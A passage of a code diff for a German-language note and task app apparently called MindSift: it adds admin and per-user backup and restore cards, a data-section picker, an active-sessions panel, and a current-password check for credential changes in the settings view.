// Admin: automatic daily backups (whole database + one backup per user), list and manual run
export const BackupAdminCard: React.FC<BackupAdminCardProps> = ({ settings, onSave }) => {
const [files, setFiles] = useState<BackupFile[]>([]);
const [running, setRunning] = useState(false);
const [error, setError] = useState<string | null>(null);
useEffect(() => {
api.adminListBackups().then(setFiles).catch(() => {});
}, []);
const runNow = async () => {
setRunning(true);
setError(null);
try {
setFiles(await api.adminRunBackup());
} catch (err: any) {
setError(err.message || 'Backup fehlgeschlagen');
api.adminListBackups().then(setFiles).catch(() => {});
} finally {
setRunning(false);
}
};
const download = async (name: string) => {
try {
saveBlob(await api.adminDownloadBackup(name), name);
} catch (err: any) {
setError(err.message || 'Download fehlgeschlagen');
}
};
return (
<div className="p-4 bg-canvas border border-border rounded-card space-y-3">
<div className="flex items-center justify-between gap-4">
<div className="pr-4">
<p className="font-bold text-main flex items-center gap-1.5">
<Archive className="w-3.5 h-3.5 text-accent" />
Automatische Backups
</p>
<p className="text-[11px] text-muted mt-0.5">
Täglich ein Abzug der ganzen Datenbank und ein Backup je Benutzer unter <code className="font-mono">backups/</code> im
Datenverzeichnis. Das schützt vor Fehlbedienung, nicht vor einer kaputten Platte: den Ordner zusätzlich woanders sichern.
</p>
</div>
<ToggleSwitch
checked={Boolean(settings.backupEnabled)}
onChange={(backupEnabled) => onSave({ backupEnabled })}
title={settings.backupEnabled ? 'Automatische Backups ausschalten' : 'Automatische Backups einschalten'}
/>
</div>
<div className="flex flex-wrap items-end gap-3">
<label className="text-[11px] text-muted">
Uhrzeit
<input
type="time"
value={settings.backupTime || '03:00'}
onChange={(e) => e.target.value && onSave({ backupTime: e.target.value })}
className="block mt-1 h-11 sm:h-8 px-2 input-field text-base sm:text-xs w-28"
/>
</label>
<label className="text-[11px] text-muted">
Aufbewahren (Tage)
<input
type="number"
min={1}
max={365}
value={settings.backupRetentionDays || 3}
onChange={(e) => {
const n = parseInt(e.target.value, 10);
if (n >= 1 && n <= 365) onSave({ backupRetentionDays: n });
}}
className="block mt-1 h-11 sm:h-8 px-2 input-field text-base sm:text-xs w-24"
/>
</label>
<button
type="button"
onClick={runNow}
disabled={running}
className="btn-action h-11 sm:h-8 px-3 text-xs inline-flex items-center gap-1.5 disabled:opacity-50"
>
{running ? <Loader2 className="w-3.5 h-3.5 animate-spin" /> : <Archive className="w-3.5 h-3.5 text-accent" />}
{running ? 'Sichere…' : 'Jetzt sichern'}
</button>
</div>
{error && <p className="text-[11px] text-status-err">{error}</p>}
<div className="border border-border divide-y divide-border bg-panel">
{files.length === 0 ? (
<p className="p-3 text-[11px] text-faint">Noch keine Server-Backups vorhanden.</p>
) : (
files.map((f) => (
<div key={f.name} className="px-3 py-2 flex items-center justify-between gap-3">
<div className="min-w-0">
<p className="text-xs font-mono text-main truncate">{f.name}</p>
<p className="text-[11px] text-faint">
{new Date(f.createdAt).toLocaleString('de-DE')} · {formatBytes(f.size)}
</p>
</div>
<button
type="button"
onClick={() => download(f.name)}
className="btn-action h-11 sm:h-7 px-2.5 text-[11px] inline-flex items-center gap-1 shrink-0"
>
<Download className="w-3.5 h-3.5" />
Download
</button>
</div>
))
)}
</div>
<p className="text-[11px] text-faint">
Zurückspielen eines Datenbank-Abzugs: Container stoppen, <code className="font-mono">mindsift.db</code> durch die entpackte Datei
ersetzen (<code className="font-mono">gunzip</code>), Container starten. Einzelne Benutzer stellen ihre Daten selbst in den
Kontoeinstellungen wieder her.
</p>
</div>
);
};
@@ -1,283 +0,0 @@
import React, { useEffect, useState } from 'react';
import {
Key,
Plus,
Trash2,
Copy,
Check,
Webhook,
Download,
ShieldCheck,
Zap,
Terminal,
} from 'lucide-react';
import { APIKey, PriorityLevel } from '../../lib/types';
import { api, getToken, triggerHaptic } from '../../lib/api';
interface EcosystemViewProps {
onIngested: () => void;
}
export const EcosystemView: React.FC<EcosystemViewProps> = ({ onIngested }) => {
const [keys, setKeys] = useState<APIKey[]>([]);
const [newKeyName, setNewKeyName] = useState('');
const [newlyCreatedKey, setNewlyCreatedKey] = useState<string | null>(null);
const [copiedKey, setCopiedKey] = useState(false);
// Live Webhook Simulator State
const [simTitle, setSimTitle] = useState('Waschmaschine im Keller ist fertig!');
const [simPriority, setSimPriority] = useState<PriorityLevel>('high');
const [simStatus, setSimStatus] = useState<string | null>(null);
const loadKeys = async () => {
const k = await api.getAPIKeys();
setKeys(k);
};
useEffect(() => {
loadKeys();
}, []);
const handleCreateKey = async (e: React.FormEvent) => {
e.preventDefault();
triggerHaptic(15);
const created = await api.createAPIKey(newKeyName.trim() || 'Home Assistant');
if (created.rawKey) {
setNewlyCreatedKey(created.rawKey);
}
setNewKeyName('');
await loadKeys();
};
const handleDeleteKey = async (id: string) => {
triggerHaptic(20);
await api.deleteAPIKey(id);
await loadKeys();
};
const handleCopy = (text: string) => {
navigator.clipboard.writeText(text);
setCopiedKey(true);
setTimeout(() => setCopiedKey(false), 2000);
};
const handleSimulateWebhook = async () => {
triggerHaptic(20);
const tokenToUse = newlyCreatedKey || getToken() || '';
try {
await api.testWebhookIngest(tokenToUse, simTitle, simPriority, ['smarthome', 'automation']);
setSimStatus('✅ Webhook erfolgreich ausgelöst! Neue Karte liegt in deiner Inbox.');
onIngested();
setTimeout(() => setSimStatus(null), 4000);
} catch (err: any) {
setSimStatus(`❌ Fehler: ${err.message}`);
}
};
const handleFullExport = async () => {
triggerHaptic(15);
const data = await api.exportAll();
const blob = new Blob([JSON.stringify(data, null, 2)], {
type: 'application/json;charset=utf-8',
});
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `mindsift-backup-${new Date().toISOString().slice(0, 10)}.json`;
a.click();
URL.revokeObjectURL(url);
};
const exampleToken = newlyCreatedKey || 'mindsift_sec_dein_api_key';
const baseUrl = window.location.origin;
return (
<div className="w-full panel-surface divide-y divide-border">
{/* Section 1: API Keys for Smarthome & Automation */}
<div className="p-4">
<div className="flex items-center gap-3 mb-2">
<div className="w-8 h-8 bg-accent text-white flex items-center justify-center flex-shrink-0">
<Key className="w-4 h-4" />
</div>
<div>
<h3 className="text-base font-bold text-white">
Webhooks & Ingestion API-Schlüssel
</h3>
<p className="text-xs sm:text-sm text-zinc-400">
Verbinde Home Assistant, Zigbee2MQTT, n8n oder eigene Cronjobs direkt mit deiner MindSift Inbox.
</p>
</div>
</div>
<form onSubmit={handleCreateKey} className="mt-3 flex flex-col sm:flex-row gap-2">
<input
type="text"
value={newKeyName}
onChange={(e) => setNewKeyName(e.target.value)}
placeholder="Bezeichnung (z. B. Home Assistant, Proxmox Backup, Rauchmelder)…"
className="w-full sm:flex-1 min-w-0 h-11 sm:h-9 px-3 input-field text-base sm:text-sm"
/>
<button
type="submit"
className="btn-primary h-11 sm:h-9 px-4 text-sm flex items-center justify-center gap-1.5"
>
<Plus className="w-4 h-4" />
<span>API-Key erzeugen</span>
</button>
</form>
{newlyCreatedKey && (
<div className="mt-3 p-3 bg-accent/15 border border-accent/30 flex flex-wrap items-center justify-between gap-3">
<div className="min-w-0">
<p className="text-xs font-semibold text-accent mb-1">
Neuer API-Schlüssel erstellt (bitte jetzt kopieren):
</p>
<code className="text-xs sm:text-sm font-mono text-white break-all">
{newlyCreatedKey}
</code>
</div>
<button
onClick={() => handleCopy(newlyCreatedKey)}
className="btn-primary h-8 px-3 text-xs"
>
{copiedKey ? <Check className="w-3.5 h-3.5" /> : <Copy className="w-3.5 h-3.5" />}
<span>{copiedKey ? 'Kopiert!' : 'Key kopieren'}</span>
</button>
</div>
)}
{/* Active Keys List */}
<div className="mt-3 border border-border divide-y divide-border">
{keys.length === 0 ? (
<p className="text-xs text-zinc-500 px-3 py-2">
Noch keine dedizierten API-Schlüssel hinterlegt.
</p>
) : (
keys.map((k) => (
<div
key={k.id}
className="px-3 py-1.5 bg-canvas flex items-center justify-between gap-3"
>
<div>
<span className="text-sm font-medium text-white">{k.name}</span>
<span className="ml-3 text-xs font-mono text-accent">{k.keyPrefix}</span>
{k.lastUsedAt && (
<span className="ml-3 text-xs text-zinc-500">
Zuletzt genutzt: {new Date(k.lastUsedAt).toLocaleDateString('de-DE')}
</span>
)}
</div>
<button
onClick={() => handleDeleteKey(k.id)}
className="btn-icon btn-icon-danger w-7 h-7"
>
<Trash2 className="w-3.5 h-3.5" />
</button>
</div>
))
)}
</div>
</div>
{/* Section 2: Interactive Smarthome Webhook Simulator */}
<div className="p-4">
<div className="flex items-center gap-3 mb-3">
<div className="w-7 h-7 bg-accent text-white flex items-center justify-center flex-shrink-0">
<Webhook className="w-4 h-4" />
</div>
<div>
<h3 className="text-base font-bold text-white">
Live Smarthome Webhook-Simulator
</h3>
<p className="text-xs sm:text-sm text-zinc-400">
Teste den Webhook-Endpunkt direkt hier – das Event landet sofort als Karte im Triage-Deck.
</p>
</div>
</div>
<div className="flex flex-wrap gap-1.5 mb-3">
{[
{ label: '🧺 Waschmaschine fertig', text: 'Waschmaschine im Keller ist fertig – Wäsche aufhängen!', prio: 'high' as PriorityLevel },
{ label: '🚨 Rauchmelder Batterie', text: 'Rauchmelder Dachgeschoss meldet niedrige Batterie (12%)', prio: 'urgent' as PriorityLevel },
{ label: '💧 Luftfeuchtigkeit Keller', text: 'Kellerfeuchtigkeit über 70% – Lüften oder Entfeuchter starten', prio: 'urgent' as PriorityLevel },
].map((preset) => (
<button
key={preset.label}
type="button"
onClick={() => {
setSimTitle(preset.text);
setSimPriority(preset.prio);
}}
className="btn-action text-xs"
>
{preset.label}
</button>
))}
</div>
<div className="flex flex-col sm:flex-row gap-2">
<input
type="text"
value={simTitle}
onChange={(e) => setSimTitle(e.target.value)}
className="flex-1 h-9 px-3 input-field text-sm"
/>
<button
type="button"
onClick={handleSimulateWebhook}
className="btn-primary h-9 px-4 text-xs sm:text-sm flex items-center gap-1.5"
>
<Zap className="w-4 h-4" />
<span>Webhook jetzt abfeuern</span>
</button>
</div>
{simStatus && (
<p className="mt-3 text-xs font-medium text-accent">{simStatus}</p>
)}
{/* Code Example Snippets */}
<div className="mt-4 space-y-2">
<div className="flex items-center gap-2 text-xs font-medium text-zinc-400">
<Terminal className="w-3.5 h-3.5 text-accent" />
<span>cURL / Home Assistant REST Command:</span>
</div>
<pre className="p-3 bg-canvas border border-border font-mono text-xs text-zinc-300 overflow-x-auto">
{`curl -X POST "${baseUrl}/api/v1/webhooks/ingest?token=${exampleToken}" \\
-H "Content-Type: application/json" \\
-d '{
"title": "Kellerfeuchtigkeit über 70%",
"priority": "urgent",
"tags": ["smarthome", "keller"]
}'`}
</pre>
</div>
</div>
{/* Section 3: Data Sovereignty & Export */}
<div className="p-4 flex flex-col sm:flex-row items-start sm:items-center justify-between gap-4">
<div className="flex items-center gap-3">
<div className="w-7 h-7 bg-accent text-white flex items-center justify-center flex-shrink-0">
<ShieldCheck className="w-4 h-4" />
</div>
<div>
<h3 className="text-base font-bold text-white">
100 % Datensouveränität & Komplett-Export
</h3>
<p className="text-xs sm:text-sm text-zinc-400">
Exportiere jederzeit alle Gedanken, Aufgaben, Dokumente und geteilten Listen als portables JSON-Archiv.
</p>
</div>
</div>
<button
onClick={handleFullExport}
className="btn-primary h-9 px-4 text-xs sm:text-sm flex items-center gap-2"
>
<Download className="w-4 h-4" />
<span>Komplett-Backup (.json)</span>
</button>
</div>
</div>
);
};
+30 -6
View File
@@ -1,6 +1,7 @@
import React, { useRef, useState } from 'react';
import { Upload, Check, AlertCircle, FileArchive } from 'lucide-react';
import { ImportSummary } from '../../lib/types';
import { DATA_SECTIONS, DataSection, ImportSummary } from '../../lib/types';
import { SectionPicker } from './SectionPicker';
import { api } from '../../lib/api';
interface ImportCardProps {
@@ -18,6 +19,7 @@ const summaryParts = (s: ImportSummary) =>
s.tasks && `${s.tasks} Aufgabe${s.tasks === 1 ? '' : 'n'}`,
s.lists && `${s.lists} Liste${s.lists === 1 ? '' : 'n'} mit ${s.listItems} Einträgen`,
s.inbox && `${s.inbox} Gedanke${s.inbox === 1 ? '' : 'n'} für die Triage`,
s.themes && `${s.themes} Theme${s.themes === 1 ? '' : 's'}`,
].filter(Boolean) as string[];
// One import path: drop or pick a file, see a preview of what would be created, then import.
@@ -33,6 +35,9 @@ export const ImportCard: React.FC<ImportCardProps> = ({ source, title, descripti
// MindSift data can replace the current state instead of being added next to it
const [mode, setMode] = useState<'merge' | 'restore'>('merge');
const [confirmRestore, setConfirmRestore] = useState(false);
// MindSift data: which parts to take from the file
const [sections, setSections] = useState<DataSection[]>(DATA_SECTIONS.map((s) => s.id));
const sectionParam = source === 'mindsift' ? sections : undefined;
const restoring = source === 'mindsift' && mode === 'restore';
const reset = () => {
@@ -49,7 +54,7 @@ export const ImportCard: React.FC<ImportCardProps> = ({ source, title, descripti
setFile(f);
setBusy(true);
try {
setPreview(await api.importData(source, f, true));
setPreview(await api.importData(source, f, true, 'merge', sectionParam));
} catch (err: any) {
setError(err.message || 'Datei konnte nicht gelesen werden');
} finally {
@@ -62,7 +67,7 @@ export const ImportCard: React.FC<ImportCardProps> = ({ source, title, descripti
setBusy(true);
setError(null);
try {
setResult(await api.importData(source, file, false, restoring ? 'restore' : 'merge'));
setResult(await api.importData(source, file, false, restoring ? 'restore' : 'merge', sectionParam));
setFile(null);
setPreview(null);
setConfirmRestore(false);
@@ -87,7 +92,7 @@ export const ImportCard: React.FC<ImportCardProps> = ({ source, title, descripti
{(
[
['merge', 'Hinzufügen', 'Bestehende Daten behalten, Backup daneben anlegen.'],
['restore', 'Wiederherstellen', 'Eigene Notizen, Aufgaben und Listen vorher löschen.'],
['restore', 'Wiederherstellen', 'Gewählte Bereiche vorher leeren.'],
] as const
).map(([value, label, text]) => (
<button
@@ -114,6 +119,24 @@ export const ImportCard: React.FC<ImportCardProps> = ({ source, title, descripti
</div>
)}
{source === 'mindsift' && (
<SectionPicker
value={sections}
onChange={(next) => {
setSections(next);
// The preview depends on the sections, so a picked file is read again
if (file) {
setBusy(true);
api
.importData(source, file, true, 'merge', next)
.then(setPreview)
.catch((err) => setError(err.message))
.finally(() => setBusy(false));
}
}}
/>
)}
<div
onDragOver={(e) => {
e.preventDefault();
@@ -194,8 +217,9 @@ export const ImportCard: React.FC<ImportCardProps> = ({ source, title, descripti
className="mt-0.5 w-4 h-4 shrink-0"
/>
<span>
<strong className="text-status-err">Achtung:</strong> Alle deine bisherigen Notizen, Ordner, Aufgaben, Gedanken und
Listen werden vor dem Import unwiderruflich gelöscht und durch das Backup ersetzt. Mit dir geteilte Inhalte anderer
<strong className="text-status-err">Achtung:</strong> Deine bisherigen Daten in den gewählten Bereichen
({DATA_SECTIONS.filter((x) => sections.includes(x.id)).map((x) => x.label).join(', ')}) werden vor dem Import
unwiderruflich gelöscht und durch das Backup ersetzt. Mit dir geteilte Inhalte anderer
bleiben erhalten.
</span>
</label>
@@ -0,0 +1,37 @@
import React from 'react';
import { Check } from 'lucide-react';
import { DATA_SECTIONS, DataSection } from '../../lib/types';
interface SectionPickerProps {
value: DataSection[];
onChange: (sections: DataSection[]) => void;
label?: string;
}
// Which parts of the own data a restore or import covers; at least one stays selected
export const SectionPicker: React.FC<SectionPickerProps> = ({ value, onChange, label = 'Bereiche' }) => (
<div className="flex flex-wrap items-center gap-1.5" role="group" aria-label={label}>
<span className="text-[11px] text-muted mr-1">{label}:</span>
{DATA_SECTIONS.map((sec) => {
const on = value.includes(sec.id);
return (
<button
key={sec.id}
type="button"
role="checkbox"
aria-checked={on}
onClick={() => {
const next = on ? value.filter((v) => v !== sec.id) : [...value, sec.id];
if (next.length > 0) onChange(next);
}}
className={`h-11 sm:h-7 px-2.5 rounded-btn border text-[11px] inline-flex items-center gap-1 transition-colors ${
on ? 'border-accent bg-accent/10 text-main' : 'border-border text-muted hover:text-main'
}`}
>
{on && <Check className="w-3 h-3 text-accent" />}
{sec.label}
</button>
);
})}
</div>
);
@@ -0,0 +1,151 @@
import React, { useEffect, useState } from 'react';
import { Archive, Check, Download, RotateCcw } from 'lucide-react';
import { BackupFile, DataSection, DATA_SECTIONS, ImportSummary } from '../../lib/types';
import { api } from '../../lib/api';
import { formatBytes, saveBlob } from '../../lib/download';
import { SectionPicker } from './SectionPicker';
// The user's own automatic backups on the server: download or restore (all or some sections)
export const ServerBackupsCard: React.FC = () => {
const [files, setFiles] = useState<BackupFile[]>([]);
const [open, setOpen] = useState<string | null>(null); // backup being restored
const [mode, setMode] = useState<'merge' | 'restore'>('restore');
const [sections, setSections] = useState<DataSection[]>(DATA_SECTIONS.map((s) => s.id));
const [confirm, setConfirm] = useState(false);
const [busy, setBusy] = useState(false);
const [error, setError] = useState<string | null>(null);
const [result, setResult] = useState<ImportSummary | null>(null);
useEffect(() => {
api.listMyBackups().then(setFiles).catch(() => {});
}, []);
const startRestore = (name: string) => {
setOpen(open === name ? null : name);
setConfirm(false);
setError(null);
setResult(null);
};
const restore = async () => {
if (!open) return;
setBusy(true);
setError(null);
try {
setResult(await api.restoreMyBackup(open, mode, sections));
setConfirm(false);
} catch (err: any) {
setError(err.message || 'Wiederherstellen fehlgeschlagen');
} finally {
setBusy(false);
}
};
const sectionNames = DATA_SECTIONS.filter((s) => sections.includes(s.id))
.map((s) => s.label)
.join(', ');
return (
<div className="space-y-2">
<div>
<h3 className="font-bold text-main flex items-center gap-1.5">
<Archive className="w-3.5 h-3.5 text-accent" />
Server-Backups
</h3>
<p className="text-muted text-[11px] mt-0.5">
Automatische tägliche Sicherungen deiner Daten auf dem Server (falls die Administration sie eingeschaltet hat).
</p>
</div>
<div className="border border-border divide-y divide-border bg-canvas">
{files.length === 0 ? (
<p className="p-3 text-[11px] text-faint">Noch keine Server-Backups vorhanden.</p>
) : (
files.map((f) => (
<div key={f.name} className="p-3 space-y-2">
<div className="flex flex-wrap items-center justify-between gap-2">
<div className="min-w-0">
<p className="text-xs font-semibold text-main">{new Date(f.createdAt).toLocaleString('de-DE')}</p>
<p className="text-[11px] text-faint">{formatBytes(f.size)}</p>
</div>
<div className="flex gap-2">
<button
type="button"
onClick={async () => saveBlob(await api.downloadMyBackup(f.name), f.name)}
className="btn-action h-11 sm:h-7 px-2.5 text-[11px] inline-flex items-center gap-1"
>
<Download className="w-3.5 h-3.5" />
Download
</button>
<button
type="button"
onClick={() => startRestore(f.name)}
aria-expanded={open === f.name}
className="btn-action h-11 sm:h-7 px-2.5 text-[11px] inline-flex items-center gap-1"
>
<RotateCcw className="w-3.5 h-3.5 text-accent" />
Wiederherstellen
</button>
</div>
</div>
{open === f.name && (
<div className="p-3 rounded-card border border-border bg-panel space-y-2.5">
<div className="grid grid-cols-1 sm:grid-cols-2 gap-2" role="radiogroup" aria-label="Art der Wiederherstellung">
{(
[
['restore', 'Ersetzen', 'Gewählte Bereiche vorher leeren.'],
['merge', 'Hinzufügen', 'Bestehendes behalten, Backup daneben anlegen.'],
] as const
).map(([value, label, text]) => (
<button
key={value}
type="button"
role="radio"
aria-checked={mode === value}
onClick={() => {
setMode(value);
setConfirm(false);
}}
className={`p-2 min-h-[44px] text-left border rounded-card transition-colors ${
mode === value ? (value === 'restore' ? 'border-status-err bg-status-err/10' : 'border-accent bg-accent/10') : 'border-border'
}`}
>
<span className="block text-xs font-semibold text-main">{label}</span>
<span className="block text-[11px] text-muted">{text}</span>
</button>
))}
</div>
<SectionPicker value={sections} onChange={setSections} />
{result ? (
<p className="text-[11px] text-status-ok flex items-center gap-1">
<Check className="w-3.5 h-3.5" /> Wiederhergestellt: {result.notes} Notizen, {result.tasks} Aufgaben, {result.lists} Listen,{' '}
{result.inbox} Gedanken, {result.themes ?? 0} Themes.
</p>
) : (
<button
type="button"
disabled={busy}
onClick={() => (mode === 'restore' && !confirm ? setConfirm(true) : restore())}
className={`h-11 sm:h-8 px-4 text-xs font-semibold disabled:opacity-50 ${
mode === 'restore' ? 'btn-action border-status-err text-status-err' : 'btn-primary'
}`}
>
{busy
? 'Stelle wieder her…'
: mode === 'restore' && confirm
? `Wirklich ${sectionNames} ersetzen?`
: mode === 'restore'
? 'Ersetzen'
: 'Hinzufügen'}
</button>
)}
{error && <p className="text-[11px] text-status-err">{error}</p>}
</div>
)}
</div>
))
)}
</div>
</div>
);
};
@@ -0,0 +1,110 @@
import { useEffect, useState } from 'react';
import { LogOut, Monitor, Smartphone } from 'lucide-react';
import { api } from '../../lib/api';
import { Session } from '../../lib/types';
// Rough device label from the user agent; good enough to tell one's own devices apart
export function describeDevice(ua: string): { label: string; mobile: boolean } {
if (!ua) return { label: 'Unbekanntes Gerät', mobile: false };
if (ua.startsWith('MindSift-')) return { label: 'MindSift-Client', mobile: false };
const mobile = /Android|iPhone|iPad|Mobile/i.test(ua);
const browser = /Edg\//.test(ua)
? 'Edge'
: /Firefox\//.test(ua)
? 'Firefox'
: /Chrome\//.test(ua)
? 'Chrome'
: /Safari\//.test(ua)
? 'Safari'
: 'Browser';
const os = /Android/.test(ua)
? 'Android'
: /iPhone|iPad/.test(ua)
? 'iOS'
: /Windows/.test(ua)
? 'Windows'
: /Mac OS X/.test(ua)
? 'macOS'
: /Linux/.test(ua)
? 'Linux'
: '';
return { label: os ? `${browser} auf ${os}` : browser, mobile };
}
function formatLastUsed(iso: string): string {
const d = new Date(iso);
if (isNaN(d.getTime())) return '';
const minutes = Math.round((Date.now() - d.getTime()) / 60000);
if (minutes < 10) return 'gerade aktiv';
return `zuletzt ${d.toLocaleString('de-DE', { dateStyle: 'medium', timeStyle: 'short' })}`;
}
export function SessionsPanel() {
const [sessions, setSessions] = useState<Session[] | null>(null);
const [error, setError] = useState('');
const [ending, setEnding] = useState('');
const load = async () => {
try {
const list = await api.listSessions();
setSessions([...list.filter((s) => s.current), ...list.filter((s) => !s.current)]);
setError('');
} catch (err: any) {
setError(err.message || 'Sitzungen konnten nicht geladen werden');
}
};
useEffect(() => {
void load();
}, []);
const endSession = async (id: string) => {
setEnding(id);
try {
await api.endSession(id);
setSessions((prev) => (prev || []).filter((s) => s.id !== id));
} catch (err: any) {
setError(err.message || 'Sitzung konnte nicht beendet werden');
} finally {
setEnding('');
}
};
if (error) return <p className="text-[11px] text-status-err">{error}</p>;
if (!sessions) return <p className="text-[11px] text-muted">Lade Sitzungen…</p>;
return (
<ul className="divide-y divide-border rounded-card border border-border bg-canvas">
{sessions.map((s) => {
const device = describeDevice(s.userAgent);
const Icon = device.mobile ? Smartphone : Monitor;
return (
<li key={s.id} className="flex items-center gap-3 p-3 text-xs">
<Icon size={16} className="text-muted shrink-0" />
<div className="min-w-0 flex-1">
<p className="font-semibold text-main truncate">
{device.label}
{s.current && <span className="ml-2 text-[10px] font-semibold text-accent">Dieses Gerät</span>}
</p>
<p className="text-[11px] text-faint truncate">
{[formatLastUsed(s.lastUsedAt), s.ip].filter(Boolean).join(' · ')}
</p>
</div>
{!s.current && (
<button
type="button"
onClick={() => endSession(s.id)}
disabled={ending === s.id}
title="Dieses Gerät abmelden"
className="btn-secondary min-h-[44px] sm:min-h-0 h-8 px-3 text-xs shrink-0 flex items-center gap-1.5 cursor-pointer"
>
<LogOut size={13} />
<span>{ending === s.id ? 'Melde ab…' : 'Abmelden'}</span>
</button>
)}
</li>
);
})}
</ul>
);
}
@@ -3,9 +3,7 @@ import {
User as UserIcon,
Bell,
Key,
Plus,
Trash2,
Terminal,
Download,
ArrowLeft,
Check,
@@ -16,18 +14,24 @@ import {
AlertCircle,
Palette,
Upload,
Camera,
Pencil,
Copy,
} from 'lucide-react';
import { APIKey, AuthStatus, User, UserTheme } from '../../lib/types';
import { AuthStatus, User, UserTheme } from '../../lib/types';
import { ApiKeysPanel } from './ApiKeysPanel';
import { ServerBackupsCard } from './ServerBackupsCard';
import { saveBlob } from '../../lib/download';
import { api, clearToken, triggerHaptic } from '../../lib/api';
import { passwordProblem } from '../../lib/password';
import { customThemeId, ThemeId, ThemeOption } from '../../lib/theme';
import themeTemplateCss from '../../themes/theme-template.css?raw';
import { UserAvatar, resizeImageToDataUrl } from '../../components/UserAvatar';
import { LegalLinks } from '../../components/LegalLinks';
import { AboutModal } from '../../components/AboutModal';
import { ImportCard } from './ImportCard';
import { SessionsPanel } from './SessionsPanel';
import { ToggleSwitch } from '../../components/ToggleSwitch';
import { setLinkPreviewsEnabled, useLinkPreviewsEnabled } from '../../lib/linkPreview';
import { FormSheet } from '../../components/FormSheet';
interface UserSettingsViewProps {
@@ -95,8 +99,17 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
}
};
const [showAbout, setShowAbout] = useState(false);
// The public demo sends nothing and keeps the shared accounts intact (FLAW-33)
const [demoMode, setDemoMode] = useState(false);
const linkPreviewsOn = useLinkPreviewsEnabled();
useEffect(() => {
api.getAuthStatus().then((st) => setLegal(st.legal)).catch(() => {});
api
.getAuthStatus()
.then((st) => {
setLegal(st.legal);
setDemoMode(Boolean(st.demoMode));
})
.catch(() => {});
}, []);
// --- Custom Theme Editor State ---
@@ -187,6 +200,7 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
const [email, setEmail] = useState(currentUser.email || '');
const [avatarUrl, setAvatarUrl] = useState(currentUser.avatarUrl || '');
const [newPassword, setNewPassword] = useState('');
const [currentPassword, setCurrentPassword] = useState('');
const [profileMsg, setProfileMsg] = useState<{ type: 'ok' | 'err'; text: string } | null>(null);
const [savingProfile, setSavingProfile] = useState(false);
const [revokingSessions, setRevokingSessions] = useState(false);
@@ -207,12 +221,6 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
const [savingAlarms, setSavingAlarms] = useState(false);
const [testingChannel, setTestingChannel] = useState<string | null>(null);
// --- Webhooks & API Keys State ---
const [apiKeys, setApiKeys] = useState<APIKey[]>([]);
const [newKeyName, setNewKeyName] = useState('');
const [newlyCreatedKey, setNewlyCreatedKey] = useState<string | null>(null);
const [copiedLabel, setCopiedLabel] = useState<string | null>(null);
useEffect(() => {
setDisplayName(currentUser.displayName || '');
setEmail(currentUser.email || '');
@@ -224,19 +232,6 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
setNotifyBeforeMinutes(currentUser.notifyBeforeMinutes ?? 30);
}, [currentUser]);
useEffect(() => {
loadKeys();
}, []);
const loadKeys = async () => {
try {
const keys = await api.getAPIKeys();
setApiKeys(keys);
} catch {
// ignore
}
};
const toggleAlarmChannel = (ch: string) => {
setAlarmChannels((prev) =>
prev.includes(ch) ? prev.filter((item) => item !== ch) : [...prev, ch]
@@ -271,6 +266,10 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
triggerHaptic(10);
};
// Changing the password or the login address needs the current password (FLAW-30)
const needsCurrentPassword =
newPassword.trim() !== '' || email.trim().toLowerCase() !== (currentUser.email || '').toLowerCase();
// --- Handlers: Profile ---
const handleSaveProfile = async (e: React.FormEvent) => {
e.preventDefault();
@@ -283,11 +282,19 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
avatarUrl: avatarUrl.trim(),
};
if (newPassword.trim()) {
patch.password = newPassword.trim();
const problem = passwordProblem(newPassword);
if (problem) {
setProfileMsg({ type: 'err', text: problem });
return;
}
// Not trimmed: login compares the password exactly as typed
patch.password = newPassword;
}
if (needsCurrentPassword) patch.currentPassword = currentPassword;
const updated = await api.updateSettings(patch);
onUserUpdated(updated);
setNewPassword('');
setCurrentPassword('');
setProfileMsg({ type: 'ok', text: 'Profil und Anmeldedaten erfolgreich gespeichert.' });
} catch (err: any) {
setProfileMsg({ type: 'err', text: err.message || 'Fehler beim Speichern' });
@@ -375,45 +382,8 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
}
};
// --- Handlers: Webhooks & Export ---
const handleCreateAPIKey = async (e: React.FormEvent) => {
e.preventDefault();
triggerHaptic(15);
try {
const created = await api.createAPIKey(newKeyName.trim() || 'Eigenes Skript / Webhook');
if (created.rawKey) {
setNewlyCreatedKey(created.rawKey);
}
setNewKeyName('');
loadKeys();
} catch (err: any) {
alert(err.message);
}
};
const handleDeleteAPIKey = async (id: string) => {
if (!window.confirm('Diesen API-Schlüssel wirklich widerrufen?')) return;
await api.deleteAPIKey(id);
loadKeys();
};
const handleCopy = (text: string, label: string) => {
navigator.clipboard.writeText(text);
setCopiedLabel(label);
setTimeout(() => setCopiedLabel(null), 2000);
};
// --- Handlers: Export ---
// Works on mobile browsers too: the link must be in the document and the URL alive until the click ran
const saveBlob = (blob: Blob, filename: string) => {
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = filename;
document.body.appendChild(a);
a.click();
a.remove();
window.setTimeout(() => URL.revokeObjectURL(url), 10000);
};
const [exportingBackup, setExportingBackup] = useState(false);
const handleExportData = async () => {
@@ -441,20 +411,6 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
}
};
const baseUrl = window.location.origin;
const activeKeyPlaceholder =
newlyCreatedKey || (apiKeys[0]?.keyPrefix ? apiKeys[0].keyPrefix + '••••••••' : 'DEIN_API_KEY');
const curlTriageExample = `curl -X POST ${baseUrl}/api/v1/inbox \\
-H "X-API-Key: ${activeKeyPlaceholder}" \\
-H "Content-Type: application/json" \\
-d '{"content": "Kellerfeuchtigkeit über 68% gestiegen – Entfeuchter prüfen #smarthome #alarm", "priority": "urgent"}'`;
const curlTaskExample = `curl -X POST ${baseUrl}/api/v1/inbox \\
-H "X-API-Key: ${activeKeyPlaceholder}" \\
-H "Content-Type: application/json" \\
-d '{"content": "Server-Alarm prüfen #monitoring", "priority": "urgent", "target": "task"}'`;
const roleBadgeLabel =
currentUser.role === 'admin'
? 'Server-Admin'
@@ -683,7 +639,9 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
value={email}
onChange={(e) => setEmail(e.target.value)}
required
className="w-full h-9 px-3 input-field"
disabled={demoMode}
title={demoMode ? 'In der Demo deaktiviert' : undefined}
